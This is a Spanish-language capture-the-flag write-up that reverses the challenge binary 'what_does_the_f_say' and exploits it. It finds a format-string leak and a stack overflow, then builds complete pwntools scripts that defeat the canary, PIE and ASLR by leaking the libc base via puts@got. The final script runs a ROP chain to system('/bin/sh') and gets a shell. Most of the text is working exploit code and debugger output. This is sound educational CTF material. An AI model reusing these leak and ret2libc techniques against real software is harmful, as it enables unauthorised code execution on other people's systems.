Reversing
Al ejecutar el binario muestra un contador de rocas y 2 menus para comidas y bebidas
❯ ./what_does_the_f_say
Welcome to Fox space bar!
Current space rocks: 69.69
1. Space drinks
2. Space food
Iniciamos por desensamblar la función main, ésta es relativamente simple, solo llama a la función setup para el output, posteriormente a las funciones welcome y fox_bar
La función welcome simplemente muestra un mensaje con puts y sigue la ejecución
La función fox_bar inicia mostrando un menu y recibiendo un digito con scanf que se utilizará como opción en una estructura switch para elegir a que bloque saltar
Al final del bloque anterior se compara la variable option con 1, si el valor es 1 llama a la función drinks_menu, si es igual a 2 llama a la función food_menu
Iniciamos con la función drink_menu, utiliza memset para rellenar con 0's un total de 0x1e bytes de un buffer, luego muestra otro menú con puts y recibe un digito de opción con scanf, al final del bloque compara la opción con un 1 y realiza un salto
Si la opción es 1 disminuye la variable local srocks 4.9 unidades, llama a una función y compara si es menor que 20, si es asi muestra un mensaje con puts
Si la opción es igual a 2 muestra una pregunta con puts y recibe un buffer de 0x1d bytes con read, luego ese mismo buffer lo muestra con printf sin ningun formato causando una vulnerabilidad de format string, después llama a la función warning
La función warning compara si la variable global srocks es mayor que 20.0, si es mayor sigue la linea verde, si es menor o igual simplemente sigue la linea roja
Cuando la variable srocks es menor o igual a 20.0 muestra un mensaje y recibe una string con scanf que guarda en rbp - 32, esto puede ocasionar un buffer overflow
Explotación
Iniciamos mirando las protecciones con checksec, empezamos con el FULL RELRO nos impode escribir en la tabla got, el Canary establece una variable local en rbp - 8 que comprueba que no se haya modificado antes de retornar, el NX nos impide ejecutar shellcode en el stack y el PIE hace aleatoria la dirección base del binario
❯ checksec what_does_the_f_say
[*] '/home/user/what_does_the_f_say'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Sabemos que luego de la pregunta existe un format string, si enviamos varios %p logramos hacer leaks de diferentes puntero interesante separados por un .
1. Space drinks
2. Space food
1
1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)
3. Deathstar(70.00 s.rocks)
2
Red or Green Kryptonite?
%p.%p.%p.%p.%p.%p.%p.%p.%p
0x7ffc11d66430.0x1d.0x7990fc910191.0x19.(nil).0x2f2f2f2f2f2f2f2f.0x200000000.0x70252e70252e7025.0x252e70252e70252e
Enjoy your Kryptonite vodka!
Current space rocks: 62.79
1. Space drinks
2. Space food
El siguiente script en python itera sobre las posiciones del 1 al 9 que es la cantidad máxima debido a que tenemos la limitación de srocks, de esta forma podemos ver algunos punteros filtrados sin embargo ninguno de ellos nos es de verdadero interés
#!/usr/bin/python3
from pwn import process, log
shell = process("./what_does_the_f_say")
for i in range(1, 10):
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", f"%{i}$p".encode())
leak = shell.recvline().strip().decode()
log.info(f"{i}: {leak}")
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './what_does_the_f_say': pid 225635
[*] 1: 0x7ffe1d404be0
[*] 2: 0x1d
[*] 3: 0x7f685a910191
[*] 4: 0x19
[*] 5: (nil)
[*] 6: 0x2f2f2f2f2f2f2f2f
[*] 7: 0x200000000
[*] 8: 0xa70243825
[*] 9: (nil)
[*] Switching to interactive mode
You have less than 20 space rocks! Are you sure you want to buy it?
$
Si miramos los punteros en las posiciones 10 al 18 encontramos otros punteros, la posición 13 pertenece a la stack cookie ya que sigue el formato normal terminando el qword en 00, la posición 15 pertenece a la función fox_bar, parte del binario
#!/usr/bin/python3
from pwn import gdb, log
shell = gdb.debug("./what_does_the_f_say", "continue")
for i in range(10, 19):
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", f"%{i}$p".encode())
leak = shell.recvline().strip().decode()
log.info(f"{i}: {leak}")
shell.interactive()
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 226791
[*] running in new terminal: ['/usr/bin/gdb', '-q', './what_does_the_f_say']
[*] 10: (nil)
[*] 11: (nil)
[*] 12: (nil)
[*] 13: 0x2725fd5658801000
[*] 14: 0x7ffe0b1bbca0
[*] 15: 0x60475e91274a
[*] 16: 0x1000000c2
[*] 17: 0x2725fd5658801000
[*] 18: 0x7ffe0b1bbcd0
[*] Switching to interactive mode
You have less than 20 space rocks! Are you sure you want to buy it?
$
La posición 15 apunta a la función fox_bar, esta dirección es parte del binario y si restamos el offset de 0x174a bytes deberiamos poder obtener la dirección base
^C
Program received signal SIGINT, Interrupt.
0x00007e3b83b10191 in read () from ./libc.so.6
pwndbg> x/i 0x60475e91274a
0x60475e91274a <fox_bar+106>: jmp 0x60475e912764 <fox_bar+132>
pwndbg> vmmap what_does_the_f_say
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0x60475e911000 0x60475e912000 r--p 1000 0 /home/user/what_does_the_f_say
► 0x60475e912000 0x60475e913000 r-xp 1000 1000 /home/user/what_does_the_f_say
► 0x60475e913000 0x60475e914000 r--p 1000 2000 /home/user/what_does_the_f_say
► 0x60475e914000 0x60475e915000 r--p 1000 2000 /home/user/what_does_the_f_say
► 0x60475e915000 0x60475e916000 rw-p 1000 3000 /home/user/what_does_the_f_say
► 0x60475e916000 0x60475e918000 rw-p 2000 5000 /home/user/what_does_the_f_say
0x7e3b83a00000 0x7e3b83be7000 r-xp 1e7000 0 /home/user/libc.so.6
pwndbg> p/x 0x60475e91274a - 0x60475e911000
$1 = 0x174a
pwndbg>
Entonces, hacemos un leak con los punteros en la posición 13 y 15, a éste último le restamos el offset y de esta forma obtenemos la stack cookie y la dirección base del binario, con esto ya evadimos 2 de las protecciones que son el Canary y el PIE
#!/usr/bin/python3
from pwn import gdb, log
shell = gdb.debug("./what_does_the_f_say", "continue")
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a
log.info(f"Canary: {hex(canary)}")
log.info(f"Binary base: {hex(binary_base)}")
shell.interactive()
Lo ejecutamos para comprobar que funciona, esto nos muestra la stack cookie y una dirección que si comparamos con la dirección base del binario es justo la misma
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 228144
[*] running in new terminal: ['/usr/bin/gdb', '-q', './what_does_the_f_say']
[*] Canary: 0xc71c366111d4ba00
[*] Binary base: 0x57935ae9c000
[*] Switching to interactive mode
Enjoy your Kryptonite vodka!
Current space rocks: 62.79
1. Space drinks
2. Space food
$
^C
Program received signal SIGINT, Interrupt.
0x00007c9ddb910191 in read () from ./libc.so.6
pwndbg> vmmap what_does_the_f_say
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0x57935ae9c000 0x57935ae9d000 r--p 1000 0 /home/user/what_does_the_f_say
► 0x57935ae9d000 0x57935ae9e000 r-xp 1000 1000 /home/user/what_does_the_f_say
► 0x57935ae9e000 0x57935ae9f000 r--p 1000 2000 /home/user/what_does_the_f_say
► 0x57935ae9f000 0x57935aea0000 r--p 1000 2000 /home/user/what_does_the_f_say
► 0x57935aea0000 0x57935aea1000 rw-p 1000 3000 /home/user/what_does_the_f_say
► 0x57935aea1000 0x57935aea3000 rw-p 2000 5000 /home/user/what_does_the_f_say
0x7c9ddb800000 0x7c9ddb9e7000 r-xp 1e7000 0 /home/user/libc.so.6
pwndbg>
Al inicio cuando lekeamos algunos punteros podemos notar que a partir de la posición 8 los valores son un reflejo de nuestros datos en punteros hexadecimales
❯ unhex 70252e70252e7025 | rev
%p.%p.%p
❯ unhex 252e70252e70252e | rev
%.p%.p%.
Entonces, podemos enviar %9$p para hacer un leak de la posición 9 y luego rellenar con . a 8 bytes que es el tamaño del puntero, luego enviamos AAAABBBB, el resultado es que el leak muestra estos caractéres de la posición 9 como puntero
1. Space drinks
2. Space food
1
1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)
3. Deathstar(70.00 s.rocks)
2
Red or Green Kryptonite?
%9$p....AAAABBBB
0x4242424241414141....AAAABBBB
Enjoy your Kryptonite vodka!
Current space rocks: 62.79
1. Space drinks
2. Space food
Podemos aprovechar esto para hacer un leak de libc, para ello solo necesitamos la entrada got de la función puts que contiene una referencia a su posición en libc
pwndbg> x/i puts
0x1030 <puts@plt>: jmp QWORD PTR [rip+0x2f5a] # 0x3f90 <puts@got.plt>
pwndbg>
También necesitamos el offset ésta la misma función pero en libc que obtenemos con libcdb, esto para restarle esa cantidad al leak y obtener la dirección base de libc
❯ libcdb file libc.so.6
[*] libc.so.6
Version: 2.27
BuildID: d3cf764b2f97ac3efe366ddd07ad902fb6928fd7
MD5: 35ef4ffc9c6ad7ffd1fd8c16f14dc766
SHA1: a22321cd65f28f70cf321614fdfd22f36ecd0afe
SHA256: f0ad9639b2530741046e06c96270b25da2339b6c15a7ae46de8fb021b3c4f529
Symbols:
__libc_start_main_ret = 0x21b97
dup2 = 0x110ab0
printf = 0x64f00
puts = 0x80a30
read = 0x110180
str_bin_sh = 0x1b40fa
system = 0x4f4e0
write = 0x110250
Ahora nuestro exploit usa el formato %9$s para mostrar como string el contenido de la posición 9, rellenamos el qword y para esa posición le pasamos la entrada got de la función puts, entonces ejecutará algún tipo de printf(puts@got) que muestra la dirección de puts en memoria y al restar el offset nos da la dirección base de libc
#!/usr/bin/python3
from pwn import gdb, p64, u64, log
shell = gdb.debug("./what_does_the_f_say", "continue")
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a
payload = b"%9$s...." + p64(binary_base + 0x3f90) # puts@got
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80a30
log.info(f"Libc base: {hex(libc_base)}")
shell.interactive()
Ejecutamos el exploit y nos muestra la dirección lekeada, si comparamos esta dirección con la base de libc que vemos en gdb es exactamente la misma
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 230232
[*] running in new terminal: ['/usr/bin/gdb', '-q', './what_does_the_f_say']
[*] Libc base: 0x7c1855e00000
[*] Switching to interactive mode
1. Milky way (4.90 s.rocks)
2. Kryptonite vodka (6.90 s.rocks)
3. Deathstar(70.00 s.rocks)
$
^C
Program received signal SIGINT, Interrupt.
0x00007c1855f10191 in read () from ./libc.so.6
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x5a2d25eab000 0x5a2d25ead000 rw-p 2000 5000 /home/user/what_does_the_f_say
► 0x7c1855e00000 0x7c1855fe7000 r-xp 1e7000 0 /home/user/libc.so.6
► 0x7c1855fe7000 0x7c18561e7000 ---p 200000 1e7000 /home/user/libc.so.6
► 0x7c18561e7000 0x7c18561eb000 r--p 4000 1e7000 /home/user/libc.so.6
► 0x7c18561eb000 0x7c18561ed000 rw-p 2000 1eb000 /home/user/libc.so.6
0x7c1856200000 0x7c1856227000 r-xp 27000 0 /home/user/ld-2.27.so
pwndbg>
Vamos con la siguiente vulnerabilidad, mediante un bucle for restaremos srocks un total de 7 veces, hasta que sea menor a 20 unidades, entonces ya podemos explotar el buffer overflow el cual dijimos tenia un offset a la cookie de 24 bytes, ahí enviamos el canary, 8 B's para rbp y 8 C's para el return address, además un par de D's que se guardarán en el stack, asi tenemos el control del flujo de ejecución
#!/usr/bin/python3
from pwn import gdb, p64, u64
shell = gdb.debug("./what_does_the_f_say", "continue")
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a
payload = b"%9$s...." + p64(binary_base + 0x3f90) # puts@got
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80a30
for i in range(7):
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"Red")
offset = 24
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += b"C" * 8
payload += b"D" * 24
shell.sendlineafter(b"buy it?\n", payload)
shell.interactive()
Program received signal SIGSEGV, Segmentation fault.
0x000063e156f7155c in warning ()
pwndbg> p/x $rbp
$1 = 0x4242424242424242
pwndbg> x/gx $rsp
0x7ffd1d323c68: 0x4343434343434343
pwndbg> x/s $rsp+8
0x7ffd1d323c70: 'D' <repetidos 24 veces>
pwndbg>
Una vez controlamos el return address y los valores en el stack simplemente nos queda agregar un ropchain que nos devuelva una shell con system("/bin/sh");
#!/usr/bin/python3
from pwn import process, p64, u64
shell = process("./what_does_the_f_say")
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"%13$p.%15$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x174a
payload = b"%9$s...." + p64(binary_base + 0x3f90) # puts@got
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80a30
for i in range(7):
shell.sendlineafter(b"Space food\n", b"1")
shell.sendlineafter(b"(70.00 s.rocks)\n", b"2")
shell.sendlineafter(b"Kryptonite?\n", b"Red")
offset = 24
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += p64(libc_base + 0x0968ba) # pop rdi; ret;
payload += p64(libc_base + 0x1b40fa) # "/bin/sh"
payload += p64(libc_base + 0x0c7c5a) # ret;
payload += p64(libc_base + 0x04f4e0) # system()
shell.sendlineafter(b"buy it?\n", payload)
shell.interactive()
Entonces, en el exploit usamos el format string para lekear el canary y la dirección base del binario, ya con ello lekeamos la dirección base de libc para posteriormente explotar el buffer overflow que al ejecutar el ropchain nos devuelve una shell
❯ python3 exploit.py
[+] Starting local process './what_does_the_f_say': pid 231378
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) grupos=1000(user)
$